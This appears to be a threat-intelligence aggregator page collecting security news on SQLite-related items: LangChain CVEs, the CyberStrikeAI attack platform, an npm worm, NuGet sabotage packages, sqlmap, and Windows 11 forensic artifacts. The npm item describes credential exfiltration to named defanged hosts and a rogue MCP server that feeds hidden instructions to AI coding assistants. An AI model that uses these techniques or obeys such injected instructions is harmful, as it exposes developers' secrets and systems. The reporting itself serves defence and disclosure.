Search/sqlite
● Vendor

sqlite

Known CVEs
0
Highest CVSS
—
In KEV
0
Vendor
sqlite
Connections
27 relationships
LangChain, LangGraph Flaws Expose Files, Secrets, Databases in Widely Used AI Frameworks
Cybersecurity researchers have disclosed three security vulnerabilities impacting LangChain and LangGraph that, if successfully exploited, could expose filesystem data, environment secrets, and conversation history. Both LangChain and LangGraph are open-source frameworks that are used to build applications powered by Large Language Models (LLMs). LangGraph is built on the foundations of LangChain for more sophisticated and non-linear agentic workflows. According to statistics on the Python Package Index (PyPI), LangChain, LangChain-Core, and LangGraph have been downloaded more than 52 million, 23 million, and 9 million times last week alone. "Each vulnerability exposes a different class of enterprise data: filesystem files, environment secrets, and conversation history," Cyera security researcher Vladimir Tokarev said in a report published Thursday. The issues, in a nutshell, offer three independent paths that an attacker can leverage to drain sensitive data from any enterprise LangChain deployment. Details of the vulnerabilities are as follows - CVE-2026-34070 (CVSS score: 7.5) - A path traversal vulnerability in LangChain ("langchain_core/prompts/loading.py") that allows access to arbitrary files without any validation via its prompt-loading API by supplying a specially crafted prompt template. CVE-2025-68664 (CVSS score: 9.3) - A deserialization of untrusted data vulnerability in LangChain that leaks API keys and environment secrets by passing as input a data structure that tricks the application into interpreting it as an already serialized LangChain object rather than regular user data. CVE-2025-67644 (CVSS score: 7.3) - An SQL injection vulnerability in LangGraph SQLite checkpoint implementation that allows an attacker to manipulate SQL queries through metadata filter keys and run arbitrary SQL queries against the database. Successful exploitation of the aforementioned flaws could allow an attacker to read sensitive files like Docker configurations, siphon sensitive secrets via prompt injection, and access conversation histories associated with sensitive workflows. It's worth noting that details of CVE-2025-68664 were also shared by Cyata in December 2025, giving it the cryptonym LangGrinch. The vulnerabilities have been patched in the following versions - CVE-2026-34070 - langchain-core >=1.2.22 CVE-2025-68664 - langchain-core 0.3.81 and 1.2.5 CVE-2025-67644 - langgraph-checkpoint-sqlite 3.0.1 The findings once again underscore how artificial intelligence (AI) plumbing is not immune to classic security vulnerabilities, potentially putting entire systems at risk. The development comes days after a critical security flaw impacting Langflow (CVE-2026-33017, CVSS score: 9.3) has come under active exploitation within 20 hours of public disclosure, enabling attackers to exfiltrate sensitive data from developer environments. Naveen Sunkavally, chief architect at Horizon3.ai, said the vulnerability shares the same root cause as CVE-2025-3248, and stems from unauthenticated endpoints executing arbitrary code. With threat actors moving quickly to exploit newly disclosed flaws, it's essential that users apply the patches as soon as possible for optimal protection. "LangChain doesn't exist in isolation. It sits at the center of a massive dependency web that stretches across the AI stack. Hundreds of libraries wrap LangChain, extend it, or depend on it," Cyera said. "When a vulnerability exists in LangChain’s core, it doesn’t just affect direct users. It ripples outward through every downstream library, every wrapper, every integration that inherits the vulnerable code path."
thehackernews.comMar 27, 2026extracted
CyberStrikeAI tool adopted by hackers for AI-powered attacks
Researchers warn that a newly identified open-source AI security testing platform called CyberStrikeAI was used by the same threat actor behind a recent campaign that breached hundreds of Fortinet FortiGate firewalls. Last month, BleepingComputer reported on an AI-assisted hacking operation that compromised more than 500 FortiGate devices in five weeks. The threat actor behind this campaign used multiple servers, including a web server at 212.11.64[.]250. In a new report, Senior Threat Intel Advisor for Team Cymru, Will Thomas (aka BushidoToken), says that the same IP address was observed running the relatively new CyberStrikeAI AI-powered security testing platform. Analyzing NetFlow data, Team Cymru identified a "CyberStrikeAI" service banner running on port 8080 on 212.11.64[.]250 and saw network communications between that IP and Fortinet FortiGate devices the threat actor targeted. The FortiGate campaign infrastructure was last seen running CyberStrikeAI on January 30, 2026. CyberStrikeAI's GitHub repository describes itself as an "AI-native security testing platform built in Go" that integrates over 100 security tools, an intelligent orchestration engine, predefined security roles, and a skills system. "Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams," reads the project description. The tool includes an AI decision engine compatible with models such as GPT, Claude, and DeepSeek, a password-protected web UI with audit logging and SQLite persistence, and a dashboard for vulnerability management, task orchestration, and attack-chain visualization. Its tooling allows it to conduct a full attack chain, including network scanning (nmap, masscan), web and application testing (sqlmap, nikto, gobuster), exploitation frameworks (metasploit, pwntools), password cracking tools (hashcat, john), and post-exploitation frameworks (mimikatz, bloodhound, impacket). By combining these tools with AI agents and an orchestrator, CyberStrikeAI enables operators, even low-skilled ones, to automate attacks against targets. Team Cymru warns that AI-native orchestration engines like this could accelerate automated targeting of exposed edge devices, including firewalls and VPN appliances. The researchers say they observed 21 unique IP addresses running CyberStrikeAI between January 20 and February 26, 2026, with servers primarily hosted in China, Singapore, and Hong Kong. Additional infrastructure was spotted in the United States, Japan, and Europe. "As adversaries increasingly embrace AI-native orchestration engines, we expect to see a rise in automated, AI-driven targeting of vulnerable edge devices, similar to the observed reconnaissance and targeting of Fortinet FortiGate appliances," explains Thomas. "In the near future, defenders must be prepared for an environment where tools like CyberStrikeAI, alongside the developer's other AI-assisted privilege escalation projects like PrivHunterAI and InfiltrateX, significantly lower the barrier to entry for complex network exploitation." The researchers also examined the profile of the CyberStrikeAI developer, who goes by the alias "Ed1s0nZ." Based on public repositories linked to the account, the developer has worked on additional AI-assisted security tools, including PrivHunterAI, which uses AI models to detect privilege escalation vulnerabilities, and InfiltrateX, a privilege escalation scanning tool. According to Team Cymru, the developer's GitHub activity shows interactions with organizations previously linked to Chinese government–affiliated cyber operations. In December 2025, the developer shared CyberStrikeAI with Knownsec 404's "Starlink Project." Knownsec is a Chinese cybersecurity firm with alleged links to the Chinese government. On January 5, 2026, the developer mentioned receiving a "CNNVD 2024 Vulnerability Reward Program – Level 2 Contribution Award" on their GitHub profile. The China National Vulnerability Database (CNNVD) is believed to be operated by China's intelligence community, which allegedly uses it to identify vulnerabilities for its operations. Team Cymru says the reference to CNNVD was later removed from the developer's profile. The developer's GitHub repositories are primarily written in Chinese, suggesting they are a Chinese-speaking developer, and interaction with domestic cybersecurity organizations would not necessarily be unusual. These new AI-powered cybersecurity tools continue to demonstrate how commercial AI services are increasingly used by threat actors to automate their attacks while, at the same time, lowering the barrier to entry. Last month, Google also reported that threat actors are abusing Gemini AI across all stages of cyberattacks, empowering the abilities of threat actors of all skill levels. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 3, 2026extracted
Review: Digital Forensics, Investigation, and Response, 5th Edition
Review: Digital Forensics, Investigation, and Response, 5th Edition Digital Forensics, Investigation, and Response, 5th Edition presents a structured survey of the digital forensics discipline. The book spans foundational principles, platform specific analysis, specialized branches, and incident response integration. About the author Chuck Easttom has many years of practical experience across a wide range of computer science, mathematics, and related fields. He holds a Doctor of Science in Cyber Security, a Ph.D. in Nanotechnology, a Ph.D. in Computer Science, and four master’s degrees. He has authored over 40 computer science books and 80 research papers. Inside the book The emphasis of the opening section rests on methodology, repeatability, and evidentiary integrity. Chain of custody, documentation, and preservation standards receive sustained attention. A full chapter examines U.S. legal frameworks that intersect with digital investigations. Statutes such as the Electronic Communications Privacy Act, the Computer Fraud and Abuse Act under 18 USC 1030, the USA PATRIOT Act, and the Digital Millennium Copyright Act appear in context. The text also outlines the Daubert standard and Federal Rules of Evidence relevant to expert testimony. Expert reports and testimony receive detailed treatment. The book outlines how to document methods, support conclusions with references, and prepare for deposition and trial. Practitioners who serve as expert witnesses will find that this material connects investigative technique with litigation practice. The discussion then shifts to formal methodologies and lab practices. Frameworks such as DoD forensic standards, DFRWS, and SWGDE are described alongside evidence handling procedures and analysis planning. The reader encounters practical guidance on minimizing interaction with original media, maintaining documentation trails, and securing evidence storage. Tool coverage includes EnCase, Forensic Toolkit, OSForensics, The Sleuth Kit, Kali Linux, CAINE, and SIFT. Imaging procedures, RAID acquisition, and mathematical authentication of storage devices are addressed in operational detail. Certifications such as EnCE, AccessData ACE, and GIAC appear within the professional development context. The technical depth increases in chapters on disk structure, file slack, hidden partitions, encryption, steganography, and file carving. These sections connect anti forensic techniques with investigative countermeasures, reinforcing the adversarial dimension of digital analysis. Dedicated chapters examine Windows, Linux, and macOS artifacts. Windows coverage spans the registry, Prefetch, Shimcache, Amcache, SRUM, UserAssist, ShellBags, Volume Shadow Copy, and PowerShell. Linux sections address file systems, logs, shell history, and key command line tools. macOS analysis includes Unified Logs, KnowledgeC, AirDrop artifacts, and Target Disk Mode. Email forensics covers headers, server artifacts, and legal constraints. Mobile analysis includes Android and iOS acquisition, SQLite databases, rooting, and chip off techniques. Network forensics addresses packet analysis, common tools, router evidence, firewall logs, and cloud environments. Memory forensics introduces capture methods and Volatility. The structure moves from theory to artifact level examination across common enterprise systems. Later chapters connect forensic work with incident response phases, including detection, containment, eradication, recovery, and follow up. Standards such as ISO 27001, ISO 27035, NIST 800 34, PCI DSS guidance, and GDPR breach notification requirements appear in operational context. The closing section reviews machine learning, AI in cybersecurity, deepfakes, and related legal issues, presenting them as developing areas that require continued study. Conclusion Digital Forensics, Investigation, and Response, 5th Edition targets undergraduate and graduate programs in cybersecurity, information assurance, and computer science. It also aligns with practitioners preparing for certifications or transitioning into forensic roles. It’s suitable as a semester text or as a desk reference for analysts who require a consolidated overview of legal, technical, and procedural domains. Digital investigations demand technical fluency, procedural discipline, and legal awareness. This text organizes those elements into a single reference that reflects the operational realities of contemporary digital forensics.
helpnetsecurity.comFeb 26, 2026extracted
Self-spreading npm malware targets developers in new supply chain attack
Self-spreading npm malware targets developers in new supply chain attack Security researchers have uncovered another supply chain attack targeting developers: 19 typosquatting npm packages published on npmjs.com that steal credentials, infect projects, and propagate themselves across developer environments. The operation, dubbed “SANDWORM_MODE,” represents a (still) rare example of worm-like malware designed to spread through software supply chains rather than traditional end-user systems. New npm worm builds on Shai-Hulud’s playbook After last year’s bombshell appearance of the self-replicating “Shai-Hulud” worm on the official npm registry, the emergence of this campaign shouldn’t come as a shock. “Whether this worm represents a direct descendant or a copycat, it stays consistent with the Dune flavored theming seen in Shai-Hulud analysis and bakes it into operator controls, including Sandworm themed SANDWORM_* environment variable switches that gate behavior at runtime,” the Socket research team noted. Unlike that previous campaign, this one leverages typosquatting npm packages impersonating popular utilities (e.g., AI coding tools like Claude Code, OpenClaw, supports-color, crypto tools) and preserves the expected behavior of the impersonated libraries. The packages were published by two accounts, using npm publisher aliases official334 and javaorg. Once imported by developers, the malicious npm packages: Execute a hidden loader that decrypts embedded code Search for and exfiltrate sensitive data: API keys and access tokens, .npmrc credentials, SSH keys, environment variables, and cryptocurrency wallet keys (the latter are the first data to be exfiltrated, within seconds of installation) Delay the execution of the second stage by 48 to 96 hours, depending on the host. The exception is if the loader detects continuous integration (CI) environments (GITHUB_ACTIONS, GITLAB_CI, CIRCLECI, JENKINS_URL, BUILDKITE), when it foregoes this delay Decrypt and run the second stage module, then start another round of harvesting of sensitive information. “Stage 2 performs deep harvesting: password managers (Bitwarden, 1Password, LastPass via their respective CLIs), local SQLite stores (Apple Notes, macOS Messages, Joplin, clipboard history), and a full filesystem scan for wallet files and crypto configs beyond the working directory,” the researchers shared. “It then exfiltrates all collected data npm/GitHub tokens, environment secrets, proxy credentials, .npmrc credentials, crypto artifacts, LLM API keys, and propagation results through three channels in cascade: HTTPS POST to a Cloudflare Worker at https://pkg-metrics[.]official334[.]workers[.]dev/exfil; authenticated GitHub API uploads to threat actor-created private repositories using double-base64 encoding; and DNS tunneling via base32-encoded queries to freefan[.]net (primary) and fanfree[.]net (secondary), with a DGA fallback seeded by ‘sw2025’ that generates domains across ten TLDs.” The second stage module also performs propagation actions, establishes persistence, and performs MCP server injection. It scans the local machine for Git repositories and authentication tokens for services like GitHub or npm, and if it finds usable credentials, it automatically modifies project files to include a malicious package. It then pushes those changes or publishes compromised packages using the victim’s own account. To make sure it survives cleanup attempts, the malware installs a malicious Git hook, which can re-download or re-execute the malicious payload whenever the developer works on code. The malware also targets modern AI coding assistants – Claude Code, Claude Desktop, Cursor, VS Code Continue, and Windsurf/Codeium – by injecting a rogue Model Context Protocol (MCP) server into their configuration. This allows the threat actor to feed hidden instructions to the assistant, prompting it to read sensitive files and transmit their contents externally. “As a secondary collection step, the module also harvests API keys for nine LLM providers, OpenAI, Anthropic, Google, Groq, Together, Fireworks, Replicate, Mistral, and Cohere, from environment variables and .env files, validating each against its known format regex,” the researchers added. Finally, the malware contains a built-in self-mutation system, but it’s switched off in this version. What should victims do? After Socket alerted the relevant providers, coordinated takedown actions quickly disrupted the campaign’s infrastructure: Cloudflare shut down network services the attackers were using to receive stolen data and control infected systems, GitHub removed repositories and accounts linked to the operation, and npm deleted the malicious packages from its registry. Socket has published a list of the known malicious npm packages and has advised developers affected by this supply chain attack to: Remove any malicious packages they installed and delete the node_modules/ directory Treat any system where the packages ran (developer machine or CI environment) as potentially compromised, and rotate all potentially exposed credentials (including npm tokens, GitHub tokens, and CI/CD secrets) Review recent changes to package.json, lockfiles, and .github/workflows/ for suspicious or unexpected additions Check for persistence mechanisms by auditing global Git hook templates and inspecting hook directories for unfamiliar scripts, and examine local AI coding assistant configuration files for unexpected or unknown mcpServers entries. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
helpnetsecurity.comFeb 24, 2026extracted
sqlmap: Open-source SQL injection and database takeover tool
sqlmap: Open-source SQL injection and database takeover tool Finding and exploiting SQL injection vulnerabilities is one of the oldest and most common steps in web application testing. sqlmap streamlines this process. It is an open-source penetration testing tool that automates the detection and exploitation of SQL injection flaws and can take over database servers when configured to do so. What makes sqlmap valuable is its automation. Instead of manually crafting and testing payloads, the tool does the work of identifying injection points, determining the type of database in use, and running a range of exploitation techniques. For testers working across many targets, that speed and consistency make a difference. How sqlmap works sqlmap uses a detection engine that supports several types of SQL injection: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band. Once it identifies a vulnerability, it can fingerprint the database, extract data, and even execute commands on the underlying operating system, depending on the level of access available. The tool can enumerate users, password hashes, roles, and privileges. It can identify database structures, search for particular tables or columns, and dump selected data ranges. Testers can focus on specific tables or strings, such as names or passwords, to locate sensitive credentials. Broad database support One of sqlmap’s strengths is its wide compatibility. It supports nearly every major database management system, including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, and SAP MaxDB. It also works with newer or niche platforms such as MariaDB, TiDB, CockroachDB, Vertica, OpenGauss, and ClickHouse. This range means testers can apply a single workflow across diverse environments. Whether the target is a traditional relational database or a distributed system, sqlmap can adapt its methods to match the DBMS in use. From database to operating system When sqlmap exploits an injection, it can often go beyond the database itself. If the target runs MySQL, PostgreSQL, or Microsoft SQL Server, the tool can access the file system directly. It allows users to upload or download files from the underlying operating system, a useful capability when testing post-exploitation scenarios. The same applies to command execution. sqlmap can run system commands and retrieve their output, offering testers a way to understand how deep their access goes. For advanced cases, it can open an out-of-band TCP connection between the testing machine and the target. Through this channel, users can spawn an interactive shell, a Meterpreter session, or even a VNC session for remote interaction. Integrating with other tools sqlmap also supports integration with Metasploit for privilege escalation. Using Metasploit’s Meterpreter getsystem command, a tester can attempt to elevate the database process’s privileges to gain higher-level access. This connection between tools highlights sqlmap’s flexibility within broader penetration testing workflows. For users who already have database credentials, sqlmap can connect directly without exploiting a vulnerability. This makes it useful not just for offensive testing but also for auditing and verifying database configurations. Testers can confirm which privileges exist and whether sensitive data is exposed. Why sqlmap remains a standard tool Despite the growth of automated scanners and cloud-based testing platforms, sqlmap remains a standard tool in many penetration testers’ toolkits. Its strength lies in combining automation with fine-grained control. Users can set switches to adjust behavior, control verbosity, or define exactly which data to extract. It supports both wide scanning and targeted analysis. A tester can run it across an entire application to locate vulnerable parameters, then narrow the focus to specific database tables or data ranges. The flexibility to shift between broad reconnaissance and precise exploitation is what keeps sqlmap relevant. sqlmap is available for free on GitHub. Must read: 35 open-source security tools to power your red team, SOC, and cloud security GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!
helpnetsecurity.comNov 10, 2025extracted
Malicious NuGet packages drop disruptive 'time bombs'
Several malicious packages on NuGet have sabotage payloads scheduled to activate in 2027 and 2028, targeting database implementations and Siemens S7 industrial control devices. The embedded malicious code uses a probabilistic trigger, so it may or may not activate depending on a set of parameters on the infected device. NuGet is an open-source package manager and software distribution system, enabling developers to download and include ready-to-run .NET libraries for their projects. Researchers at code security company Socket found nine malicious packages on NuGet, all published under the developer name shanhai666, that featured legitimate functionality along with the harmful code. The packages "strategically target all three major database providers used in .NET applications (SQL Server, PostgreSQL, SQLite)." However, the most dangerous of them is Sharp7Extend, which targets users of the legitimate Sharp7 library for communicating over ethernet with Siemens programmable logic controllers (PLCs). "By appending "Extend" to the trusted Sharp7 name, the threat actor exploits developers searching for Sharp7 extensions or enhancements," Socket researchers said. Under the shanhai666 developer name, NuGet listed 12 packages, but only nine of them included malicious code: SqlUnicorn.Core SqlDbRepository SqlLiteRepository SqlUnicornCoreTest SqlUnicornCore SqlRepository MyDbRepository MCDbRepository Sharp7Extend At publishing time, there are no packages listed under that developer's name. But it should be noted that the delisting occurred after the download count almost reached 9,500. Sneaking a “bomb” for 2028 According to Socket researchers, the packages contain mostly (99%) legitimate code, creating a false sense of safety and trust, but include a small 20-line malicious payload. "The malware exploits C# extension methods to transparently inject malicious logic into every database and PLC operation," Socket explains in a report this week. The extension methods execute every time an application performs a database query or a PLC operation. There is also a verification for the current date on the compromised system against a hardcoded trigger date, which ranges from August 8, 2027, to November 29, 2028. If the date condition is a match, the code creates a ‘Random’ class to generate a number between 1 and 100, and if it’s higher than 80 (20% chance), calls ‘Process.GetCurrentProcess().Kill()’ for the immediate termination of the host process. For typical PLC clients that call transactional or connection methods frequently, this would lead to an immediate stop of operations. The Sharp7Extend package, which impersonates the legitimate Sharp7 library, a popular .NET communication layer for Siemens S7 PLCs, follows the opposite approach, immediately terminating PLC communications in 20% of cases. This mechanism is set to expire on June 6, 2028. A second sabotage method in the Sharp7Extend package consists in code trying to read from an inexistent configuration value. As a result, the initialization always fails. A second mechanism creates a filter value for internal PLC operations and sets a payload execution delay between 30 and 90 minutes. After that time has elapsed, PLC writes that pass through the filter have an 80% chance to get corrupted, resulting in actuators not receiving commands, setpoints not being updated, safety systems not engaging, and production parameters not being modified. "The combination of immediate random process termination (via BeginTran()) and delayed write corruption (via ResFliter) creates a sophisticated multi-layered attack that evolves over time," Socket researchers say. While the exact goals and origins of these extensions remain unclear, organizations potentially impacted are recommended to immediately audit their assets for the nine packages and assume compromise if any are present. For industrial environments running Sharp7Extend, audit PLC write operations for integrity, check safety system logs for missed commands or failed activations, and implement write-verification for critical operations. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comNov 7, 2025extracted
OpenFGA: The open-source engine redefining access control
OpenFGA: The open-source engine redefining access control OpenFGA is an open-source, high-performance, and flexible authorization engine inspired by Google’s Zanzibar system for relationship-based access control. It helps developers model and enforce fine-grained access control in their applications. At its core, OpenFGA enables teams to define who can do what within their systems. Whether you’re building a startup app or managing an enterprise platform, it delivers authorization checks in milliseconds. That level of speed allows it to scale as your project grows without compromising performance or security. One of the biggest advantages of OpenFGA is its flexibility. It supports several storage backends including in-memory options, PostgreSQL, MySQL, and a beta version for SQLite. Developers can interact with it through APIs over HTTP or gRPC, or use SDKs for popular languages like Java, Node.js, Go, Python, and .NET. And if your preferred language isn’t on that list, the community has already contributed additional SDKs and tools. For those who like to experiment, OpenFGA comes with a CLI for testing authorization models and a playground where you can model relationships and test permissions in real time. There’s also a Terraform provider for managing OpenFGA servers as code, which fits neatly into existing DevOps workflows. Developers working in Go can even embed OpenFGA directly as a library. What really sets OpenFGA apart is how it combines the best of different access control paradigms. It supports relationship-based, role-based, and attribute-based models, creating a system that can handle complex authorization needs. The modeling language is powerful enough for engineers but still simple enough that non-technical team members can follow along, which makes it a great choice for collaborative development. OpenFGA’s commitment to openness goes beyond its source code. Its governance model and RFC process invite anyone to contribute ideas and help shape the project’s roadmap. This transparency has already earned it adopters such as Auth0, Grafana Labs, Canonical, Docker, Agicap, and Read.AI. OpenFGA is available for free on GitHub. Must read: 35 open-source security tools to power your red team, SOC, and cloud security GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!
helpnetsecurity.comOct 22, 2025extracted
The king is dead, long live the king! Windows 10 EOL and Windows 11 forensic artifacts
Introduction Windows 11 was released a few years ago, yet it has seen relatively weak enterprise adoption. According to statistics from our Global Emergency Response Team (GERT) investigations, as recently as early 2025, we found that Windows 7, which reached end of support in 2020, was encountered only slightly less often than the newest operating system. Most systems still run Windows 10. Distribution of Windows versions in organizations’ infrastructure. The statistics are based on the Global Emergency Response Team (GERT) data (download) The most widely used operating system was released more than a decade ago, and Microsoft discontinues its support on October 14, 2025. This means we are certainly going to see an increase in the number of Windows 11 systems in organizations where we provide incident response services. This is why we decided to offer a brief overview of changes to forensic artifacts in this operating system. The information should be helpful to our colleagues in the field. The artifacts described here are relevant for Windows 11 24H2, which is the latest OS version at the time of writing this. What is new in Windows 11 Recall The Recall feature was first introduced in May 2024. It allows the computer to remember everything a user has done on the device over the past few months. It works by taking screenshots of the entire display every few seconds. A local AI engine then analyzes these screenshots in the background, extracting all useful information, which is subsequently saved to a database. This database is then used for intelligent searching. Since May 2025, Recall has been broadly available on computers equipped with an NPU, a dedicated chip for AI computations, which is currently compatible only with ARM CPUs. Microsoft Recall is certainly one of the most highly publicized and controversial features announced for Windows 11. Since its initial reveal, it has been the subject of criticism within the cybersecurity community because of the potential threat it poses to data privacy. Microsoft refined Recall before its release, yet certain concerns remain. Because of its controversial nature, the option is disabled by default in corporate builds of Windows 11. However, examining the artifacts it creates is worthwhile, just in case an attacker or malicious software activates it. In theory, an organization’s IT department could enable Recall using Group Policies, but we consider that scenario unlikely. As previously mentioned, Recall takes screenshots, which naturally requires temporary storage before analysis. The raw JPEG images can be found at %AppData%\Local\CoreAIPlatform.00\UKP\{GUID}\ImageStore\*. The filenames themselves are the screenshot identifiers (more on those later). Along with the screenshots, their metadata is stored within the standard Exif.Photo.MakerNote (0x927c) tag. This tag holds a significant amount of interesting data, such as the boundaries of the foreground window, the capture timestamp, the window title, the window identifier, and the full path of the process that launched the window. Furthermore, if a browser is in use during the screenshot capture, the URI and domain may be preserved, among other details. Recall is activated on a per-user basis. A key in the user’s registry hive, specifically Software\Policies\Microsoft\Windows\WindowsAI\, is responsible for enabling and disabling the saving of these screenshots. Microsoft has also introduced several new registry keys associated with Recall management in the latest Windows 11 builds. It is important to note that the version of the feature refined following public controversy includes a specific filter intended to prevent the saving of screenshots and text when potentially sensitive information is on the screen. This includes, for example, an incognito browser window, a payment data input field, or a password manager. However, researchers have indicated that this filter may not always engage reliably. To enable fast searches across all data captured from screenshots, the system uses two DiskANN vector databases (SemanticTextStore.sidb and SemanticImageStore.sidb). However, the standard SQLite database is the most interesting one for investigation: %AppData%\Local\CoreAIPlatform.00\UKP\{GUID}\ukg.db, which consists of 20 tables. In the latest release, it is accessible without administrative privileges, yet it is encrypted. At the time of writing this post, there are no publicly known methods to decrypt the database directly. Therefore, we will examine the most relevant tables from the 2024 Windows 11 beta release with Recall. The App table holds data about the process that launched the application’s graphical user interface window. The AppDwellTime table contains information such as the full path of the process that initiated the application GUI window (WindowsAppId column), the date and time it was launched (HourOfDay, DayOfWeek, HourStartTimestamp), and the duration the window’s display (DwellTime). The WindowCapture table records the type of event (Name column): - WindowCreatedEvent indicates the creation of the first instance of the application window. It can be correlated with the process that created the window. - WindowChangedEvent tracks changes to the window instance. It allows monitoring movements or size changes of the window instance with the help of the WindowId column, which contains the window’s identifier. - WindowCaptureEvent signifies the creation of a screen snapshot that includes the application window. Besides the window identifier, it contains an image identifier (ImageToken). The value of this token can later be used to retrieve the JPEG snapshot file from the aforementioned ImageStore directory, as the filename corresponds to the image identifier. - WindowDestroyedEvent signals the closing of the application window. - ForegroundChangedEvent does not contain useful data from a forensics perspective. The WindowCapture table also includes a flag indicating whether the application window was in the foreground (IsForeground column), the window boundaries as screen coordinates (WindowBounds), the window title (WindowTitle), a service field for properties (Properties), and the event timestamp (TimeStamp). WindowCaptureTextIndex_content contains the text extracted with Optical Character Recognition (OCR) from the snapshot (c2 column), the window title (WindowTitle), the application path (App.Path), the snapshot timestamp (TimeStamp), and the name (Name). This table can be used in conjunction with the WindowCapture (the c0 and Id columns hold identical data, which can be used for joining the tables) and App tables (identical data resides in the AppId and Id columns). Recall artifacts (if the feature was enabled on the system prior to the incident) represent a “goldmine” for the incident responder. They allow for a detailed reconstruction of the attacker’s activity within the compromised system. Conversely, this same functionality can be weaponized: as mentioned previously, the private information filter in Recall does not work flawlessly. Consequently, attackers and malware can exploit it to locate credentials and other sensitive information. Updated standard applications Standard applications in Windows 11 have also undergone updates, and for some, this involved changes to both the interface and functionality. Specifically, applications such as Notepad, File Explorer, and the Command Prompt in this version of the OS now support multi-tab mode. Notably, Notepad retains the state of these tabs even after the process terminates. Therefore, Windows 11 now has new artifacts associated with the usage of this application. Our colleague, AbdulRhman Alfaifi, researched these in detail; his work is available here. The main directory for Notepad artifacts in Windows 11 is located at %LOCALAPPDATA%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\. This directory contains two subdirectories: TabState stores a {GUID}.bin state file for each Notepad tab. This file contains the tab’s contents if the user did not save it to a file. For saved tabs, the file contains the full path to the saved content, the SHA-256 hash of the content, the content itself, the last write time to the file, and other details. WindowsState stores information about the application window state. This includes the total number of tabs, their order, the currently active tab, and the size and position of the application window on the screen. The state file is named either *.0.bin or *.1.bin. The structure of {GUID}.bin for saved tabs is as follows: For tabs that were never saved, the {GUID}.bin file structure in the TabState directory is shorter: Note that the saving of tabs may be disabled in the Notepad settings. If this is the case, the TabState and WindowState artifacts will be unavailable for analysis. If these artifacts are available, however, you can use the notepad_parser tool, developed by our colleague Abdulrhman Alfaifi, to automate working with them. This particular artifact may assist in recovering the contents of malicious scripts and batch files. Furthermore, it may contain the results and logs from network scanners, credential extraction utilities, and other executables used by threat actors, assuming any unsaved modifications were inadvertently made to them. Changes to familiar artifacts in Windows 11 In addition to the new artifacts, Windows 11 introduced several noteworthy changes to existing ones that investigators should be aware of when analyzing incidents. Changes to NTFS attribute behavior The behavior of NTFS attributes was changed between Windows 10 and Windows 11 in two $MFT structures: $STANDARD_INFORMATION and $FILE_NAME. The changes to the behavior of the $STANDARD_INFORMATION attributes are presented in the table below: Behavior of the $FILENAME attributes was changed as follows: Analysts should consider these changes when examining the service files of the NTFS file system. Program Compatibility Assistant Program Compatibility Assistant (PCA) first appeared way back in 2006 with the release of Windows Vista. Its purpose is to run applications designed for older operating system versions, thus being a relevant artifact for identifying evidence of program execution. Windows 11 introduced new files associated with this feature that are relevant for forensic analysis of application executions. These files are located in the directory C:\Windows\appcompat\pca\: PcaAppLaunchDic.txt : each line in this file contains data on the most recent launch of a specific executable file. This information includes the time of the last launch formatted as YYYY-MM-DD HH:MM:SS.f (UTC) and the full path to the file. A pipe character (|) separates the data elements. When the file is run again, the information in the corresponding line is updated. The file uses ANSI (CP-1252) encoding, so executing files with Unicode in their names “breaks” it: new entries (including the entry for running a file with Unicode) stop appearing, only old ones get updated. PcaGeneralDb0.txt andPcaGeneralDb1.txt alternate during data logging: new records are saved to the primary file until its size reaches two megabytes. Once that limit is reached, the secondary file is cleared and becomes the new primary file, and the full primary file is then designated as the secondary. This cycle repeats indefinitely. The data fields are delimited with a pipe (|). The file uses UTF-16LE encoding and contains the following fields: - Executable launch time (YYYY-MM-DD HH:MM:SS.f (UTC)) - Record type (0–4): - 0 = installation error - 1 = driver blocked - 2 = abnormal process exit - 3 = PCA Resolve call (component responsible for fixing compatibility issues when running older programs) - 4 = value not set - Path to executable file. This path omits the volume letter and frequently uses environment variables (%USERPROFILE%, %systemroot%, %programfiles%, and others). - Product name (from the PE header, lowercase) - Company name (from the PE header, lowercase) - Product version (from the PE header) - Windows application ID (format matches that used in AmCache) - Message Note that these text files only record data related to program launches executed through Windows File Explorer. They do not log launches of executable files initiated from the console. Windows Search Windows Search is the built-in indexing and file search mechanism within Windows. Initially, it combed through files directly, resulting in sluggish and inefficient searches. Later, a separate application emerged that created a fast file index. It was not until 2006’s Windows Vista that a search feature was fully integrated into the operating system, with file indexing moved to a background process. From Windows Vista up to and including Windows 10, the file index was stored in an Extensible Storage Engine (ESE) database: %PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\Windows.edb. Windows 11 breaks this storage down into three SQLite databases: %PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\Windows-gather.db contains general information about indexed files and folders. The most interesting element is the SystemIndex_Gthr table, which stores data such as the name of the indexed file or directory (FileName column), the last modification of the indexed file or directory (LastModified), an identifier used to link to the parent object (ScopeID), and a unique identifier for the file or directory itself (DocumentID). Using the ScopeID and the SystemIndex_GthrPth table, investigators can reconstruct the full path to a file on the system. The SystemIndex_GthrPth table contains the folder name (Name column), the directory identifier (Scope), and the parent directory identifier (Parent). By matching the file’s ScopeID with the directory’s Scope, one can determine the parent directory of the file. %PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\Windows.db stores information about the metadata of indexed files. The SystemIndex_1_PropertyStore table is of interest for analysis; it holds the unique identifier of the indexed object (WorkId column), the metadata type (ColumnId), and the metadata itself. Metadata types are described in the SystemIndex_1_PropertyStore_Metadata table (where the content of the Id column corresponds to the ColumnId content from SystemIndex_1_PropertyStore) and are specified in the UniqueKey column. 